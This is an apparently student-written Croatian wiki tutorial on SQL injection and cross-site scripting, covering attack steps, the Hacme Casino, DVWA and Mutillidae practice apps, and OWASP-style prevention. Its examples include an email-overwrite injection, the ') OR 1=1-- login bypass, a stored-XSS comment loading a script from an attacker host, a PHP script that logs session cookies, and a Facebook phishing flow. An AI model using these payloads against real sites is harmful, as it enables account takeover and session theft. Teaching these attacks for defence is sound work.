Izvor: SIS Wiki

Skoči na: orijentacija, traži

SQL injection

Uvod - SQL

SQL (Structured Query Language) je poseban programski jezik dizajniran da bi se pomoću njega upravljalo sustavima za uparavljanje relacijskim bazama podataka (RDBMS). SQL se sastoji od data description languagea (DDL) i data manipulation languagea (DML).

DDL sintaksa je slična programskom jeziku za definiranje struktura podataka, dok je DML sintaksa slična programskom jeziku korištenom za umetanje, brisanje i ažuriranje podataka u bazama podataka.

Elementi jezika

Operatori

Operator	Opis
=	Jednako
<> ili !=	Nije jednako
>	Veće od
<	Manje od
>=	Veće ili jednako
<=	Manje ili jednako
BETWEEN	Između određenog raspona
LIKE	Pretraga po uzorku
IN	Specificiranje više mogućih vrijednosti za stupac

SQL injection

SQL injection napad je točno to što mu i ime kaže. Injection, ili umetanje je ono što napadač pokušava napraviti da bi ubacio svoj maliciozni SQL kôd u neku bazu podataka i prisilio ju da izvrši zadanu naredbu. Rezultat toga može biti gubitak podataka u bazi, izvlačenje podataka iz baze (uključujući privatne informacije iz tablica), ali i uništavanje, tj. brisanje kompletne baze podataka. Ideja koja stoji iza SQL injectiona je zapravo natjerati aplikaciju koja radi da pokrene umetnuti dio kôda.

Primjer 1:

Svaki SQL injection napad obično započinje tako da napadač ubacuje svoj kôd u nekakav tip forme na web stranici. Primjer takve forme (obrasca) je forma za logiranje na Facebook.

Za ovaj prvi primjer, koristit ćemo neku hipotetsku formu s kojom se većina ljudi vjerojatno susrela. To je forma za vraćanje izgubljene lozinke putem emaila, koju većina web stranica koristi u slučaju da korisnici zaborave lozinku svojih korisničkih računa.

Način na koji uobičajena "send me my password by email" forma radi je ovaj:

1. uzme email adresu kao input od korisnika

2. aplikacija pretražuje bazu podataka da bi našla unesenu email adresu

3. u slučaju da ne pronađe unesenu adresu, jednostavno ne pošalje email sa starom/novom lozinkom

4. u slučaju da pronađe unesenu adresu u bazi podataka, aplikacija će poslati mail sa starom i/ili novom lozinkom i/ili linkom za resetiranje lozinke

Tu se pojavljuje SQL injection.

Jer što ako napadaču uopće nije cilj dati valjanu email adresu, nego jednostavno želi ubaciti dio kôda koji će se pokrenuti u bazi podataka i na pladnju mu dati povjerljive informacije iz iste.

Početak SQL injection procesa

Za početak pretpostavimo da aplikacija koristi PHP skriptni jezik uz SQL bazu podataka. Tada bi forma za vraćanje lozinke mogla izgledala slično ovome

SELECT data 
         FROM table
             WHERE Emailunos = '$ulazim_vam@bazu.com

Napadač naravno ne vidi ovaj dio kôda, a varijabla '$email_unos' sadrži bilo koji unos kojeg korisnik unese u polje forme.

1. korak

Da bi napadač bio u prednosti i koristio našu slabu aplikaciju u svoju korist, prvo mora razjasniti kako se aplikacija nosi s krivim unosima. Za početak, unos bilo koje email adrese s navodnikom na kraju, npr.:

ulazim_vam@bazu.com'

Nakon ovakvog unosa, postoje dva scenarija:

1. Aplikacija će maknuti navodnik jer će pretpostaviti da je email adresa s navodnikom mogući maliciozni kôd. Iako, po IETF standardima – navodnici mogu biti email adrese. Zanemarujući to, aplikacija miče sve znakove koje smatra nepotrebnima – u našem slučaju miče samo navodnike na kraju "valjane" email adrese. Nakon uklanjanja "viška", aplikacija će potražiti ostatak adrese ( ulazim_vam@bazu.com ) u bazi podataka.

2. Aplikacija neće maknuti navodnik i automatski će ga pokrenuti kao dio SQL-a. Ovo je scenarij koji odgovara napadaču, pa ćemo ovaj korak uzeti kao realan.

Pogledajmo kako bi u tom slučaju izgledala naša forma za vraćanje lozinke:

SELECT data 
         FROM table
             WHERE Emailunos = '$ulazim_vam@bazu.com;

Nakon izvršavanja navedenog kôda od strane aplikacije, SQL bi uočio duple navodnike na kraju zadnje linije i prekinuo bi izvršavanje uz "syntax error".

Odgovor koji napadač čeka

Puno toga ovisi o sustavu na kojemu je pokrenuta aplikacija, ali i o postavkama same aplikacije, pa se tako i odgovor kojeg će napadač dobiti nakon unosa može razlikovati. Ali velika je vjerojatnost da napadač neće dobiti grešku koja govori nešto kao "email adresa ne postoji, unesite valjanu adresu ili se registrirajte", jer bi se to pojavilo u slučaju da aplikacija koristi 1. scenarij i izdvaja navodnik. Ali kako smo mi uzeli 2. scenarij kao realan, vrlo je vjerojatno da ćemo vidjeti grešku tipa "Internal error" ili "Database error" – i pomoću toga je i napadač siguran da naša aplikacija ne uklanja dodatni navodnik, što mu daje znak da je na pravom putu.

2. korak: vrijeme je za SQL injection

Kako je napadač dobio potvrdu o ranjivosti baze podataka, vrijeme je da tu ranjivost i iskoristi. Sve što je još potrebno napadaču je da razumije format tablice i jednostavno upisom zloćudnog kôda u polje forme gdje se inače upisuje email adresa, neovlašteno ulazi u bazu. Primjer takvog kôda:

    Y';
    UPDATE table
       SET email = 'ulazim_vam@bazu.com'
          WHERE email = 'darko@MUPpet.hr';

Primjetimo da je napisani SQL valjan po svim SQL pravilima. Nakon Y, nalazi se dodatni navodnik nakon kojeg je točka sa zarezom, što omogućava napadaču da završi jednu naredbu i krene u izvršavanje druge. Ako je napad prošao uspješno, aplikacija će izvršiti ovaj kôd:

SELECT data 
    FROM table
       WHERE Emailunos = 'Y';
         UPDATE table
           SET email = 'ulazim_vam@bazu.com'
           WHERE email = 'darko@MUPpet.hr';

Ovime smo resetirali mail adresu korisnika Darka i zamijenili ju svojom. Tako smo dobili direktan pristup njegovom računu preko našeg emaila, jer će na naš email stići njegova lozinka koju možemo promijeniti i u potpunosti preuzeti račun.

Primjer 2:

McAfee – Hacme Casino

Hacme Casino je online casino platforma namijenjena za testiranje sigurnosti. [1] McAfee Hacme Casino download

Svatko može isprobati kako SQL injection radi besplatnim preuzimanjem ove aplikacije, uz napomenu da je poprilično zastarjela i da ima puno boljih novijih aplikacija, ali i kompliciranijih.

Kao što možemo vidjeti iz gore prikazanog screenshota, s lijeve strane postoji login forma, što nam je idealan početak za ovakav tip napada jer većina web aplikacija provjerava autentikaciju kroz SQL bazu.

Da bi se uspješno izvršio napad, moramo "uvjeriti" bazu da je ono što mi unesemo istina. Npr. unosom John_Doe u Login polje i winbig u Password polje možemo se pokušati prijaviti. Nakon što kliknemo na Login gumb, sustav provjerava podatke koje smo upisali u bazi podataka koristeći upit SELECT * FROM users WHERE (username=’’ AND password=’’). Možemo zamisliti da su podaci ispravni i da ćemo se prijaviti kao John_Doe korisnik, ali kod nas to nije slučaj, pa pogledajmo što se dogodilo:

Rezultat je neuspješnja prijava, jer korisničko ime i/ili lozinka nisu bili istiniti. Možemo pomoću brute force alata pokušati ući u korisnički račun, ali čak i automatizmom bi to trajalo predugo, ako bi uopće dalo dobar rezultat. Uzmimo primjer da napišemo nešto što je istina, npr. 1=1. To je istinita izjava, ali nam fali SQL string da bi stvar radila. Zato koristimo ') OR 1=1-- umjesto toga. Nakon unosa te vrijednosti u Login polje, Password polje ostavimo prazno i pojavljuje nam se ovo:

Sad smo uspješno prijavljeni kao Andy Aces. Zašto kao Andy Aces? Zato jer je baš korisnik s tim imenom imao nesreću i bio prvi unos u tablici korisnika, pa je naš upit SELECT * FROM users WHERE (username=’’) OR 1=1—AND password=’’) vratio njegov korisnički profil.

Drugi način na koji se ovo može izvesti je taj da pogledamo URL kad se uspješno logiramo na site. Npr., napadač može napraviti pravi račun na nekoj shoping stranici. Nakon uspješne prijave na svoj račun, može vidjeti URL adresu u kojoj piše http://www.links.hr/accountView?id=G33O5652gf0 Promjenom id-a u string korišten ranije ') OR 1=1—možemo natjerati server da prikaže stranicu sa podacima svih računa, ne samo onima od napadača.

Oba primjera, 1 i 2 su prikazana u najjednostavnijem obliku. Većina napada koji se izvršavaju na web stranice i/ili baze podataka koriste sofisticiranije i složenije metode, ali to ne znači nešto jednostavno, kao što je a=a neće upaliti.

Zbog svega toga i lakoće kojom je moguće ući u bazu podataka, potrebno je obratiti pozornost na sigurnost, prevenciju i obranu.

Primjer 3:

sqlmap – Automatic SQL injection and database takeover tool [2] sqlmap - službeni site

sqlmap je open source alat za testiranje sigurnosti koji automatizira proces otkrivanja i iskorištavanja SQL injection mana i preuzimanje poslužitelja baza podataka. Dolazi u paketu sa raznim alatima i mogućnostima, od database fingerprinta, do pristupa podatkovnom sistemu i izvršavanju naredbi na udaljenim operativnim sustavima. Prvi primjer SQL injectiona bio je vrlo pojednostavljen zbog lakšeg shvaćanja principa i samog cilja takvog napada. Alati poput sqlmap-a su relativno automatizirani i nude puno više mogućnosti napadaču i iskorištavaju doslovno svaku slabu točku sustava.

sqlmap nećemo posebno opisivati u detalje jer je njegovo korištenje presloženo i ima previše opcija za projekt ovakvog tipa. Dovoljno je reći da je to poprilično moćan alat za sve koje zanima web sigurnost.

Još treba napomenuti da je sqlmap 50% domaći proizvod, naime jedan od dva developera sqlmap-a je FER-ovac Miroslav Stampar.

Prevencija SQL injection napada

Nekoliko je metoda da bi se spriječio SQL injection napad.

• za početak je potrebno parsirati (ovo smo vidjeli u primjeru broj 1) i provjeriti unos od strane korisnika

• nakon toga kreirati generičku stranu za greške u aplikaciji

• aplikativnom korisniku dati najmanji skup prava i privilegija

• koristiti Database Firewalla (vatrozid) da bi se pratile aktivnosti baze i po potrebi blokirale SQL naredbe

• na kraju testirati aplikaciju na SQL injection napade pomoću široko dostupnih aplikacija (poput sqlmap-a)

Po OWASP-u postoje dvije "linije obrane" od SQL injection napada. Primarna, koja uključuje 3 koraka i dodatna koja ima 2 koraka.

Primarna:

1: Korištenje pripremljenih upita

2: Korištenje spremljenih procedura

3: Izbjegavanje svih korisničkih unosa

Dodatna:

1: Pojačavanje (postrožavanje) minimalnih privilegija

2: Ubaciti tzv. "bijelu listu" provjere unosa

Također, česta zabluda je da se korisnički unosi mogu filtrirati. Najjednostavniji i najefektivniji način za spriječiti SQL injection napad je korištenjem pripremljenih upita. A da bi se izbjegli problemi, potrebno je koristiti i escape stringove u slučaju da radimo s vanjskim kôdom.

Npr. ako ubacimo string u SQL kojemu je cilj MySQL, moramo izaći iz tog stringa s MySQL funkcijom mysql_real_escape_string. Drugi primjer je HTLM. Ako ubacimo string u HTLM markup, moramo izaći sa htmlspecialchars. Što bi značilo da svaki echo ili print mora koristiti htmlspecialchars.

--Boris Šalamon 14:52, 12. lipnja 2013. (CEST)

XSS

XSS Uvod

Cross Site Scripting ili skraćeno, xss jedan je od najčešćih oblika napada na web aplikacije. XSS je proces izvršavanja i prikaza neovlaštenog koda na korisničkoj strani u pregledniku i sadržaja na stranici prije prethodne validacije. Rizik od napada zavisi o bitnosti(vrijednosti) podataka koji se nalaze na samom web mjestu(tj. serveru; BP). Predmet ili put napada su najčešće client-side jezici kao HTML a pogotovo JavaScript. Alati kojima se sprečava ova vrsta napada su najčeše dio web-based programskih jezika(PHP, Asp.net, C#, Ruby..) a baziraju se na validaciji ispravnosti unešenih podataka prije samog izvršavanja(zapisa u BP, prikazivanja). Razlozi napada mogu biti različiti ali generalno to su krađa korisničkih informacija i identiteta te neovlaštena objava sadržaja u vlastiu korist.

Princip XSS napada

Sam xss napad se izvšava na način da koristi funkcionalnost internet preglednika i načina na koji prenosi podatke. Maliciozni kod XSS napada ser prenosi skupa sa ostalim formatiranim podacima na način da se ugnježđuje(eng. nesting) u URL, Formu za unos podataka, Cookie, HTTP Header ili se prenosi web feedom(syndicate). Najveći problem brzog širenja tj. sprečavanja ovog oblika napada je razvoj web-a (web 2.0) prema korištenju skriptihjezika koji se izvršavaju na korisničkom računalu tj. u samome pregledniku.

Tako različiti jezici(koji koriste parsere;formuliraju kod/sadržaj sa tagovima) od xml-a, html-a, css-a, JS-a koji su dio DOM-a (cross-platform konvencija) olakšavaju prijenos istog malicioznog koda preko različitih mreža i platformi. Bitnu ulogu ima i AJAX (JavaScript i XML) jer su pružili mogućnost izvršavanja koda na klijentskoj strani.

Vrste prijetnji i karakteristike

Najčešće prijetnje:

• Moralne prijetnje i radnje protiv web-sitea - neovlaštena objava i narušavanje ugleda

• Krađa sesije i passworda – Napadač uzima ID iz cookie-a što pruža napadaču da se serveru predstavi kao ovlašteni korisnik te daje sva prava koja pravi korisnik ima(broj kreditne kartice)

• Neovlašteno praćenje korisnika – isto kao prethodno uz praćenje koristnikovih aktivnosti

• Kontrola prikaza i prikaz lažnog sadržaja korisniku – promjena sadržaja ili prikaz potpuno druge stranice

• Slanje podataka(remote) drugim serverima na mreži

• Zahtjev(fetch) skripti od bilo kuda – napredniji i kompleksniji napadi koji pružaju napadaču da na server prenese svoje skripte sa drugih mjesta

• Širenje(embed) malicioznog koda – implementiranje malicioznog koda u inače zdrave skripte te automatsko širenje samim pristupom(ne zahtjeva od korisnika nikakve neuobičajene radnje)

Karakteristike:

Za razliku od također popularnog SQL-injectiona SSX se širi korisnicima vrlo brzo i izaziva napade velikih razmjera. Ukoliko se radi o „persistent“ tipu napada kada jemaliciozni kod zapisan u bazi, isti je potencijalan da se širi velikom broju korisnika tj. svakom ko se koristi tim web mjestom.

Tipovi napada

Postoji zapravo puno različitih vrsta i tipova xss napada ali se svi baziraju na istom slijedu događaja. Najčešće žrtve su stranice sa vijestima koje imaju polja za komentare koje služe žrtvi za injektiranje napada. Također su žrtve stranice koje imaju login sustav. Kod njih je napadačev cilj saznati korisničke podatke.

Pošto se sustav bazira na sesiji i cookie-ju, cilj je doći do ID-a korisnika kako bi se isti upisao u napadačev u njegovom browseru te se on predstavio kao vjerodostojni korisnik. Tada može raditi zapravo sve što i prijavljeni korisnik.

Non-Persistent

Najčešći je oblik xss napada. Koristi funkcionalnost HTML upita ili formi za unos podataka za direktno generiranje stranice rezultata bez analiziranja(„sanitiziranja“) zahtjeva.

Mamac napada je najčešće poveznica(link) na dosljedni(trusted) web-site koja zapravo posjeduje xss „vektor“ koji preusmjerava vezu na skriptu koja je zaražena. Ta skripta se izvršava u korisnikovom pregledniku u milisekundama te nakon izvršavanja vraća korisnika na stranicu kojoj vjeruje tj., korisnik niti ne vidi da se napad izvršio

Persistent

Persistent ili konstantna vrsta napada je složenija i opasnija od „non-persistent“ jer su ugroženi svi korisnici koji pristupaju stranici koja je zaražena. U ovom slučaju napadačeva maliciozna skripta se nalazi na serveru tj. u bazi podatala.

Najčešći i najlakši ulaz u bazu napadač ima također kroz forme za unos koje pohranjuju određeni tekst u bazu. To su komentari na vijesti, komentari i ocjene proizvoda i sl.

Prevencija

Prevencija xss-a se bazira na provjeri SVIH podataka koji prilaze serveru ili se trebaju zapisati u BP.

1. Dakle, podaci se prije zapisa trebaju kao varijable „provući“ kroz funkcije te je potrebno maknuti sav „nepotrebni“sadržaj koji omogućuje izvršavanje nekog programskog koda.

2. Drugi korak je i smanjivanje samog vremena sesije(sjednice) tj. vremena koje je potrebno da se korisniku uskrati pristup serveru od zadnje aktivnosti.

3. Što se tiče korisničke strane uz uzdanje u sigurnosne mjere samog preglednika može se isključiti klijentska strana izvršavanja koda(JS) u pregledniku ili korištenje samo stranica koje podržavaju server-side izvršavanje.

PHP - izdvajanje varijabli prije upisa u bazu te "čišćenje" podataka.

Najčešće i vrlo jednostavne funkcije u PHP-u za sprečavanje unosa neželjenog koda u BP:

1. htmlspecialchars($x); - svi posebni znakovi se pretvaraju u html kodove dok se sadržaj i dalje prikazuje (html special chars: http://www.degraeve.com/reference/specialcharacters.php)

sadržaj:

će nakon prolaska kroz navedenu funkciju izgledati ovako:

Ovaj kod korisniku neće biti "ugodan" ali mu neće niti pokrenuti kobnu skriptu koja bi mu broj kreditne kartice stavila "na raspolaganje" napadaču. :-)

Još bolja funkcija je htmlentities jer sadrži veću baz kodova specijaliziranih znakova. Naravno sve ovisi o verzijama programskih jezika koji se koriste(HTML 4/5, PHP 4/5)

Primjeri napada

Za samo testiranje napada koriste se open-source programi koji su namjerno ranjivi kako bi se mogao ispitati određeni napad ili valjanost koda obrane. Ispod su navedena dva popularna i praktična za korištenje.

Potrebno ih je download-ati te extract-ati kao foldere u htdocs direktorij xampp(ili wamp/lamp koji već koristite) servera na Vašem računalu.

[3] - DVWA Download link

[4] - Mutillidae Download link

1.

Prvi primjer je jednostavno umetanje JS koda u polje za unos komentara Prvi primjer bi mogao izgledati ovako:

odličan, nije se pokvario do danas!<script src=“http://www.napadačevastranica.com/mojnajopakijimalicioznisftwr/kradjakukija.php></script>

Ono Što se događa u pozadini: Nakon Submita komentara on se zapisuje u bazu. Prilikom dolaska drugih korisnika na stranicu gdje se konentar objavio prikazuje se samo prva linija koda dok se dodatni kod izvršava. U ovom slučaju se pokreće skripta sa adrese sa napaddačevog poslužitelja(<script src=“http://www.napadačevastranica.com/mojnajopakijimalicioznisftwr/kradjakukija.php></script>)

Ukoliko se radi o korisniku koje je logiran, dakle nalazi se na stranici koja ima implementirani Login sustav, skripta koju je upravo nesvjesno pokrenuomože izgledati ovako:

<?php

$fp = fopen(“cookie.txt“, “a“);

fwrite($fp, $_COOKIE[“PHPSESSID“].“\n“);

fclose($fp);

?>

Događa se sljedeće:Pokreće se skripta "kradjakukija.php"koja se nalazi na napadačevom serveru tese na istom stvara .txt datoteka u koju se zapisuje identifikator sesije korisnika. Taj podatak se izvlači iz cookie-ja te ga napadač može vrlo jednostavno zapisati u svoj cookie u svom browseru. To mu omogućuje da se serveru predstavi kao legitimni korisnik te kao takav ima pristup svim njegovim podacima.

2.

Drugi primjer je dosta popularan te se koristi za phishing podataka, u ovom primjeru preko Facebooka.

Opisat ću ga više logički kako bi se shvatila njegova jednostavnost.

Napadaču je potreban webserver gdje će pohraniti „fake login page“ te put do aktivnosti korisnika(najčešće Facebook aplikacija ili stranica na kojoj je objavljen link ili lažni „Like“ gumb.) Napadač kopira doslovno cijeli kod Facebook login page-a preko View Page source u pregledniku te ga implementira u svoju skriptu. Ono što je nužno promjeniti je lokaciju gdje će se fetch-ati podaci za login, tj., promjeniti put varijable koja neide više na Facebookov server nego napadačev.

Slijed napada:

1. Korisnikova akcija – „like-anje“ sadržaja ili pokretanje linka

2. Pred korisnikom se pojavljuje Login page koje je pokrenula napadačeva skripta

3. Korisnik najčešće neznajući nesvjesno se ponovo logira misleći da se veza srušila ili sl.

4. U tom se trenutku podaci zapisuju u napadačevu bazu podataka a skripta se prekida te se korisnik vraća nazat na Facebook stranicu na kojoj je bio kao da se ništa nije dogodilo.